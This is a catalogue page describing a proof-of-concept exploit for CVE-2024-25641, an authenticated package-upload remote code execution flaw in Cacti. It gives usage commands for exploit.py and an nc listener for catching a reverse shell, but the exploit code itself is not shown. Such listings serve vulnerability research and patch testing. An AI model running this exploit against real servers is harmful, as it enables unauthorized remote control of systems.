CVE-2024-25641 PoC — Cacti 安全漏洞

Source

Associated Vulnerability

Description

PoC for CVE-2024-25641 Authenticated RCE on Cacti v1.2.26

Readme

# Cacti CVE-2024-25641 Authenticated Package Upload RCE Proof of Concept (PoC)

This script is a Proof of Concept (PoC) for exploiting the CVE-2024-25641 vulnerability in Cacti, a web-based monitoring tool. The script automates the process of authenticating with the application, uploading a malicious package, and triggering a reverse shell.

## Requirements

- Python 3.x
- `requests` library
- `argparse` library
- `re` library

You can install the required Python library using pip3:

```bash
pip3 install requests
pip3 install argparse
pip3 install re
```

## Usage
(make sure to place the **test.xml.gz** in the same directory as the **exploit.py**)

```bash
python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]
```

## Start nc listener

```bash
nc -nvlp <port>
```

File Snapshot

 [4.0K]  /data/pocs/a0c63c189ba073129de9924b1a31ea3bebf8670c
├── [4.2K]  exploit.py
├── [ 820]  README.md
└── [1.1K]  test.xml.gz

0 directories, 3 files

Remarks